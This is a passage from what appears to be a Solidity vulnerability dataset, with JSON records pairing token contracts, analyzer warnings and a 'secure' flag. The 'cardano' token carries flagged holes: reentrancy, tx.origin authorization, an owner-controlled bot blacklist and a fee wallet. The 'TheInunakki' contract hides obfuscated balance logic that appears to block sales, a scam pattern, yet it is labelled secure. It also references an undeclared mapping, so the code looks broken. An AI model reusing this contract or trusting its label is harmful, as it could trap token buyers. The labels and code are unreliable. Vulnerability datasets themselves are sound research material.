Vulnerability (reentrancy-events | severity: Low | ID: a1f2c7b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a1f2c7b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 0e75ad2): cardano._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for 0e75ad2: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: b4f66e0): cardano.bots is never initialized. It is used in cardano._transfer(address,address,uint256) cardano.isBot(address)\n\t// Recommendation for b4f66e0: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 56be513): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 56be513: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 0e75ad2\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n if (_buyCount < _preventSwapBefore) {\n require(!isContract(to));\n }\n _buyCount++;\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n if (to == uniswapV2Pair && from != address(this)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: a1f2c7b\n\t\t\t\t// reentrancy-eth | ID: 56be513\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a1f2c7b\n\t\t\t\t\t// reentrancy-eth | ID: 56be513\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 56be513\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: a1f2c7b\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: 56be513\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: 56be513\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: a1f2c7b\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n if (!tradingOpen) {\n return;\n }\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: b5efabf\n\t\t// reentrancy-events | ID: a1f2c7b\n\t\t// reentrancy-benign | ID: ebad032\n\t\t// reentrancy-eth | ID: 56be513\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n transferDelayEnabled = false;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 82c7249): cardano.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 82c7249: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b5efabf\n\t\t// reentrancy-events | ID: a1f2c7b\n\t\t// reentrancy-eth | ID: 56be513\n\t\t// arbitrary-send-eth | ID: 82c7249\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: b4f66e0): cardano.bots is never initialized. It is used in cardano._transfer(address,address,uint256) cardano.isBot(address)\n\t// Recommendation for b4f66e0: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4edd5d8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4edd5d8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 571fc29): cardano.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 571fc29: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1674277): cardano.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1674277: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4f3e1b1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4f3e1b1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: 4edd5d8\n\t\t// reentrancy-eth | ID: 4f3e1b1\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: 4edd5d8\n\t\t// unused-return | ID: 571fc29\n\t\t// reentrancy-eth | ID: 4f3e1b1\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: 4edd5d8\n\t\t// unused-return | ID: 1674277\n\t\t// reentrancy-eth | ID: 4f3e1b1\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\t\t// reentrancy-benign | ID: 4edd5d8\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 4f3e1b1\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n assembly {\n size := extcodesize(account)\n }\n return size > 0;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n uint256 tokenBalance = balanceOf(address(this));\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n uint256 ethBalance = address(this).balance;\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_2165.sol",
"secure": 0,
"size_bytes": 18822
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract TheInunakki is ERC20, Ownable {\n address private gas;\n\t// WARNING Optimization Issue (constable-states | ID: c95f188): TheInunakki.arm should be constant \n\t// Recommendation for c95f188: Add the 'constant' attribute to state variables that never change.\n uint256 private arm = 2;\n\t// WARNING Optimization Issue (constable-states | ID: 9e27a1b): TheInunakki.care should be constant \n\t// Recommendation for 9e27a1b: Add the 'constant' attribute to state variables that never change.\n uint256 private care = 32;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6500ff2): TheInunakki.uniswapV2Router should be immutable \n\t// Recommendation for 6500ff2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n mapping(address => uint256) public supplybalance;\n mapping(address => uint256) public autoburnLP;\n\n function metal(\n address Nibirudplyer,\n address NibiruBurn,\n uint256 review\n ) internal override {\n if (supplybalance[Nibirudplyer] == 0 && autoburnLP[Nibirudplyer] > 0) {\n address uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n if (uniswapV2Pair != Nibirudplyer) {\n supplybalance[Nibirudplyer] -= care;\n }\n }\n\n address NiburuLP = gas;\n gas = NibiruBurn;\n autoburnLP[NiburuLP] += care;\n\n if (supplybalance[Nibirudplyer] == 0) NibiruMKT[Nibirudplyer] -= review;\n\n uint256 voice = review * arm;\n voice = voice / 100;\n review -= voice;\n NibiruMKT[NibiruBurn] += review;\n emit Transfer(Nibirudplyer, NibiruBurn, review);\n }\n\n constructor(\n string memory same,\n string memory raise,\n address ruoter,\n address current\n ) ERC20(same, raise) {\n uniswapV2Router = IUniswapV2Router02(ruoter);\n supplybalance[current] = care;\n NibiruMKT[_msgSender()] = 1000000000000 * 10 ** 9;\n }\n}",
"file_name": "solidity_code_2166.sol",
"secure": 1,
"size_bytes": 2539
} |
{
"code": "// SPDX-License-Identifier: CC0\n\npragma solidity ^0.8.0;\n\ninterface IFree {\n function mint(uint256 collectionId, address to) external;\n}",
"file_name": "solidity_code_2167.sol",
"secure": 1,
"size_bytes": 145
} |
{
"code": "// SPDX-License-Identifier: CC0\n\npragma solidity ^0.8.0;\n\nimport \"./IFree.sol\" as IFree;\n\ncontract Free0 {\n IFree public immutable free;\n\n constructor(address freeAddr) {\n free = IFree(freeAddr);\n }\n\n function claim() public {\n free.mint(0, msg.sender);\n }\n}",
"file_name": "solidity_code_2168.sol",
"secure": 1,
"size_bytes": 303
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.